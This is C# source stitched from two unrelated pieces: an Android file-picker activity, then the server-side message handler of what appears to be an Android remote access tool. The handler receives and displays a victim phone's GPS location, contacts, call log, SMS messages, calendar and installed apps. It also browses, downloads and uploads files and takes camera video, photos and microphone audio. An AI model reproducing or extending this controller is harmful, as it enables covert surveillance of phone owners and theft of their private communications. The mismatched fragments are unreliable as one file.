protected override void OnCreate(Bundle savedInstanceState) { base.OnCreate(savedInstanceState); var bundle = savedInstanceState ?? this.Intent.Extras; var isComplete = bundle.GetBoolean("isComplete", false); this.requestId = bundle.GetInt(IntentId, 0); this.action = bundle.GetString(IntentAction); this.type = bundle.GetString(IntentType); var allowMultiple = bundle.GetBoolean(Intent.ExtraAllowMultiple, false); Intent intent = null; try { intent = new Intent(this.action); intent.SetType(this.type); if (allowMultiple) { intent.PutExtra(Intent.ExtraAllowMultiple, true); } if (!isComplete) { this.StartActivityForResult(intent, this.requestId); } } catch (Exception ex) { #if DEBUG System.Diagnostics.Debug.WriteLine(ex.ToString()); #endif FilesReceived?.Invoke(this, new FileOpenPickerFilesReceived(this.requestId, null, true)); } finally { intent?.Dispose(); } }
protected override async void OnActivityResult(int requestCode, Result resultCode, Intent data) { base.OnActivityResult(requestCode, resultCode, data); Task <FileOpenPickerFilesReceived> result; if (resultCode == Result.Canceled) { result = Task.FromResult(new FileOpenPickerFilesReceived(requestCode, null, true)); result.ContinueWith( x => { FilesReceived?.Invoke(this, x.Result); }); this.Finish(); } else { var args = await this.ExtractFileArgsAsync(this, requestCode, data?.Data); FilesReceived?.Invoke(this, args); this.Finish(); } }
/// <summary> /// Read messages from clients /// </summary> /// <param name="ar">The async result</param> private void ReadCallback(IAsyncResult ar) { int readBytes = default(int); //bytes read from the stream MessageData md = (MessageData)ar.AsyncState; //The message data assigned bool dclient = false; //If dclient client disconnect is signalled bool dlFinished = false; //If file download is finished try { readBytes = md.sender.EndReceive(ar); //Read bytes from the stream } catch (Exception ex) { Console.WriteLine("Read error\r\nError: " + ex.Message); } if (readBytes > 0) //if bytes read are more than 0 { //Get the message bytes byte[] recv = new byte[readBytes]; Array.Copy(md.bytes, recv, readBytes); Array.Clear(md.bytes, 0, recvBufferSize); if (isDlFile) //If downloading file { if (File.Exists(dlFilePath)) //If file created { using (FileStream fs = new FileStream(dlFilePath, FileMode.Append, FileAccess.Write)) //Oepn the file for writing and append { fs.Write(recv, 0, readBytes); //Write file bytes dlCurrentLength += readBytes; //Increment the bytes written count } } else //File not created yet { using (FileStream fs = File.Create(dlFilePath)) //Create file and open for writing { fs.Write(recv, 0, readBytes); //Write file bytes dlCurrentLength += readBytes; //Increment the bytes written count } } if (dlTotalLength == dlCurrentLength) //if bytes written = fileSize { isDlFile = false; //No longer downloading file dlFinished = true; //Download is finished (blocking normal command interpretation for one more loop) //Signal a new FileOperation, notify the user that the file is ready FileOperation fop = new FileOperation() { name = "File Download", success = true, message = "File downloaded to the selected path" }; Invoke(() => FileOperationResult?.Invoke(fop)); } } if (!isDlFile && !dlFinished) //if not downloading and download is not finishing { string message = Encoding.UTF8.GetString(recv, 0, readBytes); //Convert message to text int msgLength = GetDataLength(message); //Get the length header data bool restartReading = false; //Indicates if the function should restart reading and skip command interpretation if (((msgLength > readBytes && msgLength != 0) || (md.fullMsgLength > readBytes)) && !expectAudio) //Protocol messes up audio streaming :( { md.dataStoreCount += readBytes; //Increment the stored bytes count if (md.dataStoreCount == readBytes) //If this is the first store of data { md.fullMsgLength = msgLength + 9; // +9 to count the lengthHeader too md.dataStore = new byte[readBytes]; //init the buffer to store data Array.Copy(recv, md.dataStore, readBytes); //Copy the received bytes to the store Console.WriteLine("First Data Store: " + readBytes + " bytes"); } else //Not first stroing { //Save the data store in a temp buffer byte[] tempbytes = new byte[md.dataStoreCount - readBytes]; Array.Copy(md.dataStore, tempbytes, md.dataStoreCount - readBytes); //Allocate new dataStore md.dataStore = new byte[md.dataStoreCount]; //Restore previous data Array.Copy(tempbytes, md.dataStore, tempbytes.Length); //Copy new data received Array.ConstrainedCopy(recv, 0, md.dataStore, tempbytes.Length, readBytes); Console.WriteLine("Second Data Store, fullbytes: " + md.dataStoreCount); Console.WriteLine("Full message length: " + md.fullMsgLength); } if (md.fullMsgLength == md.dataStoreCount) //Optimal case, data received { Console.WriteLine("Count equals, decoding message"); message = Encoding.UTF8.GetString(md.dataStore, 0, md.dataStoreCount); //Decode the full message recv = new byte[md.dataStoreCount - 9]; //Allocate new recv Array.ConstrainedCopy(md.dataStore, 9, recv, 0, md.dataStoreCount - 9); //Skip the length header bytes Array.Clear(md.dataStore, 0, md.dataStoreCount); //Clear the dataStore //Reset data store md.dataStoreCount = 0; md.fullMsgLength = 0; } else //Count mismatch, can't interpret command { restartReading = true; Console.WriteLine("Count mismatch, " + md.dataStoreCount + "/" + md.fullMsgLength); } if (md.dataStoreCount > md.fullMsgLength) //Too fast streaming, other packets stored than original { //Discard previous data md.dataStoreCount = 0; md.fullMsgLength = 0; Array.Clear(md.dataStore, 0, md.dataStore.Length); restartReading = true; //ignore current chunk of data } } else //If no need for the protocol, then cut the length header from the byte array { byte[] temp = new byte[readBytes]; Array.Copy(recv, temp, readBytes); recv = new byte[readBytes - 9]; Array.ConstrainedCopy(temp, 9, recv, 0, readBytes - 9); Array.Clear(temp, 0, readBytes); } if (!restartReading) //if allowed to handle commands { if (!expectAudio && !expectPhoto && !expectVideo) //if not expecting any raw bytes then handle command { message = message.Substring(9); //Remove the length header message = Encoding.UTF8.GetString(Convert.FromBase64String(message)); Console.WriteLine("Message Received: " + message); if (message == "dclient") //Client going to die { //Dispose the client and signal the UI dclient = true; string clientName = "Client" + clientList.IndexOf(md.sender); Invoke(() => ClientDisconnected?.Invoke(clientName)); clientList.Remove(md.sender); if (md.sender == currentClient) { currentClient = null; } md.sender.Shutdown(SocketShutdown.Both); if (md.sender.Connected) { md.sender.Disconnect(false); } md.sender.Close(); md.sender.Dispose(); md.sender = null; } if (message == "test") //Test connection response { ShowMessageBox("Connection is working!", "Connection test", MessageBoxButtons.OK, MessageBoxIcon.Information); } if (message.StartsWith("gps|")) //Gps data recevice gps|latitude|longitude { string lat = message.Split('|')[1]; if (lat != "failed") { string lng = message.Split('|')[2]; ShowMessageBox("Latitude: " + lat + Environment.NewLine + "Longitude: " + lng, "Location Data", MessageBoxButtons.OK, MessageBoxIcon.Information); } else { ShowMessageBox("Failed to get device location!", "Location Data", MessageBoxButtons.OK, MessageBoxIcon.Error); } } if (message.StartsWith("battery|")) //Battery data received battery|level|is charging|charge method|temperature { string[] data = message.Split('|'); string level = data[1].Substring(0, data[1].IndexOf('.')); string charging = data[2]; string method = data[3]; string temp = data[4]; string displayData = "Battery Level: " + level + "%\r\n" + "Battery Charging: " + charging + "\r\n" + "Battery Charging Method: " + method + "\r\nBattery Temperature: " + temp + "°C"; ShowMessageBox(displayData, "Battery Information", MessageBoxButtons.OK, MessageBoxIcon.Information); } if (message.StartsWith("contactData")) //Get all contacts { //Serialize data and signal the UI string data = message.Substring(11); String[] contacts = data.Split('|'); Dictionary <string, string> contactsList = new Dictionary <string, string>(); foreach (string contact in contacts) { String[] contactData = contact.Split(';'); string contactID = contactData[0]; string contactName = contactData[1]; contactsList.Add(contactID, contactName); } Invoke(() => ContactsListReveived?.Invoke(contactsList)); } if (message.StartsWith("contact|")) //Get contact data { //Serialize the data and display it msgBoxes string[] data = message.Substring(8).Split('|'); string phoneNumbers = data[0]; string emailAddresses = data[1]; string address = data[2]; string note = data[3]; ShowMessageBox("Associated Phone Number(s): \r\n" + phoneNumbers.Replace(";", Environment.NewLine), "Contact Information", MessageBoxButtons.OK, MessageBoxIcon.Information); ShowMessageBox("Associated Email Address(es): \r\n" + emailAddresses.Replace(";", Environment.NewLine), "Contact Informaton", MessageBoxButtons.OK, MessageBoxIcon.Information); ShowMessageBox("Associated Address: \r\n" + address, "Contact Information", MessageBoxButtons.OK, MessageBoxIcon.Information); ShowMessageBox("Associated Note: \r\n" + note, "Contact Information", MessageBoxButtons.OK, MessageBoxIcon.Information); } if (message.StartsWith("calldata|")) //Get the call log { //Serialize the data and signal the UI string data = message.Substring(9); if (data == "failed") { ShowMessageBox("Failed to get call log", "Call Log", MessageBoxButtons.OK, MessageBoxIcon.Error); } else { data = data.Replace("plus", "+"); List <CallData> callDataList = new List <CallData>(); String[] logs = data.Split('|'); foreach (String log in logs) { String[] logData = log.Split(';'); CallData cd = new CallData() { phoneNumber = logData[0], callDuration = int.Parse(logData[1]), callDate = logData[2], callType = logData[3] }; callDataList.Add(cd); } Invoke(() => CallLogReceived?.Invoke(callDataList)); } } if (message.StartsWith("sms-msg|")) //Get SMS Messages { //Serialize data and signal the UI List <SmsData> smsMessages = new List <SmsData>(); string data = message.Substring(8); string[] messages = data.Split('|'); foreach (string msg in messages) { string[] messageData = msg.Split(';'); SmsData sd = new SmsData() { id = messageData[0], phoneNumber = messageData[1], threadID = int.Parse(messageData[2]), date = messageData[3], message = messageData[4], seen = messageData[5], sent = (messageData[6] == "false") ? false : true }; smsMessages.Add(sd); } Invoke(() => SmsDataReceived?.Invoke(smsMessages)); //md.tempDataSave = null; } if (message.StartsWith("calendar|")) //Get calendar events { //Serialize data and Signal the UI string data = message.Substring(9); if (data != "failed") { String[] events = data.Split('|'); List <EventData> dataList = new List <EventData>(); foreach (String cevent in events) { String[] eventData = cevent.Split(';'); EventData ed = new EventData() { name = eventData[0], description = eventData[1], location = eventData[2], id = eventData[3], startTime = eventData[4], endTime = eventData[5] }; dataList.Add(ed); } Invoke(() => CalendarDataReceived?.Invoke(dataList)); } } if (message.StartsWith("apps|")) //List installed apps { //Serialize data and Signal the UI string data = message.Substring(5); StringBuilder sb = new StringBuilder(); foreach (string app in data.Split('|')) { sb.Append(app).Append(", "); } ShowMessageBox(sb.ToString(), "Installed Apps", MessageBoxButtons.OK, MessageBoxIcon.Information); } if (message.StartsWith("flist|")) //List Files { //Serialize data and Signal the UI string data = message.Substring(6); if (data == "failed") { FileOperation fop = new FileOperation() { name = "List Files", success = false, message = "Failed to list files in the selected directory" }; Invoke(() => FileOperationResult?.Invoke(fop)); } else { String[] files = data.Split('|'); List <FileData> fileList = new List <FileData>(); foreach (String file in files) { string[] fileData = file.Split(';'); FileData fd = new FileData() { name = fileData[0], size = int.Parse(fileData[1]), path = fileData[2], isDir = (fileData[3] == "y") ? true : false }; fileList.Add(fd); } Invoke(() => FilesReceived?.Invoke(fileList)); } } if (message.StartsWith("fpaste|")) //Patse file result { //Create FileOperation and Signal the UI string data = message.Substring(7); FileOperation fop = new FileOperation() { name = "Paste file", success = (data == "ok") ? true : false, message = (data == "ok") ? "File Pasted to current directory" : "Failed to paste file to current directory" }; Invoke(() => FileOperationResult?.Invoke(fop)); } if (message.StartsWith("frename|")) //File Rename Result { //Create FileOperation result and Signal the UI string data = message.Substring(8); FileOperation fop = new FileOperation() { name = "Rename file", success = (data == "ok") ? true : false, message = (data == "ok") ? "File Renamed" : "Failed to rename file" }; Invoke(() => FileOperationResult?.Invoke(fop)); } if (message.StartsWith("fdel|")) //Delete file result { //Create FileOperation result and Signal the UI string data = message.Substring(5); FileOperation fop = new FileOperation() { name = "Delete file", success = (data == "ok") ? true : false, message = (data == "ok") ? "File Deleted" : "Failed to delete file" }; Invoke(() => FileOperationResult?.Invoke(fop)); } if (message.StartsWith("fconfirm|")) //Init download result { //Get result and start file download if result is positive string data = message.Substring(9); if (data == "failed") { FileOperation fop = new FileOperation() { name = "File Download Init", success = false, message = "Failed to init file download, file doesn't exist" }; Invoke(() => FileOperationResult?.Invoke(fop)); } else { isDlFile = true; dlTotalLength = int.Parse(data); dlCurrentLength = 0; } } if (message.StartsWith("fupload|")) //File upload result { //Get result and handle it string data = message.Substring(8); if (data == "failed") //Failed to init on client side { FileOperation fop = new FileOperation() { name = "File Upload", success = false, message = "Failed to start file upload, " }; Invoke(() => FileOperationResult?.Invoke(fop)); } else if (data == "ok") //client can receive the file { byte[] fileBytes = File.ReadAllBytes(ulFilePath); //Get the file bytes SendBytes(fileBytes, fileBytes.Length); //Send the file bytes } else //Upload completed { //Signal the UI FileOperation fop = new FileOperation() { name = "File Upload", success = true, message = "File upload completed, client confirmed file" }; Invoke(() => FileOperationResult?.Invoke(fop)); } } } if (expectVideo) //Expect video frames { //Pass the frame to the UI Invoke(() => VideoReceived?.Invoke(recv)); } if (expectPhoto) //Expect image data { //Pass image data to UI Invoke(() => PhotoReceived?.Invoke(recv)); expectPhoto = false; //Expect photo no longer science it only sends 1 photo } if (expectAudio) //Expect audio data { audioPlayback.BufferPlay(recv); //Playback the audio //Console.WriteLine("Bytes received: " + recv.Length); } } } } try { if (!dclient) { md.sender.BeginReceive(md.bytes, 0, recvBufferSize, SocketFlags.None, new AsyncCallback(ReadCallback), md); } } //Restart reading catch (Exception ex) { //Client disconnected without notifying Console.WriteLine("Android client closed!\r\nError: " + ex.Message); string clientName = "Client" + clientList.IndexOf(md.sender); Invoke(() => ClientDisconnected?.Invoke(clientName)); //Signal the UI clientList.Remove(md.sender); //Remove the client from the list if (md.sender == currentClient) { currentClient = null; //If it was the selected client, unselect it } md.sender.Close(); //Close the client md.sender.Dispose(); //Dispose the client md.sender = null; //Set the client to null } }